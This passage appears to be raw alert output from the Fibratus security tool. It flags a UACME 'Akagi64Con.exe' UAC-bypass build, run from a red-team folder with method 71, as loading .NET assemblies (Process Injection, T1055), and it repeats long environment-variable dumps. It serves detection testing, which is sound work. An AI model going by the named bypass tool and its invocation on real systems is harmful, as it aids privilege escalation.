LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:07+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\KeePass\0aafcaf276ea671c8afa5622f8ced0be\KeePass.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 10967032 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:50.8411586 +0100 CET + Params: base_address➜ 7ffc7aa00000, checksum➜ 0, default_address➜ 7ffc7aa00000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\KeePass\0aafcaf276ea671c8afa5622f8ced0be\KeePass.ni.exe, image_size➜ 11980800, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.id: T1055, technique.name: Process Injection, tactic.id: TA0005, tactic.name: Defense Evasion, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:07+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\lc\447e349e90b9f2842d68164e5cba15d9\lc.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 10967057 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:50.8450437 +0100 CET + Params: base_address➜ 7ffcd6700000, checksum➜ 0, default_address➜ 7ffcd6700000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\lc\447e349e90b9f2842d68164e5cba15d9\lc.ni.exe, image_size➜ 81920, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program 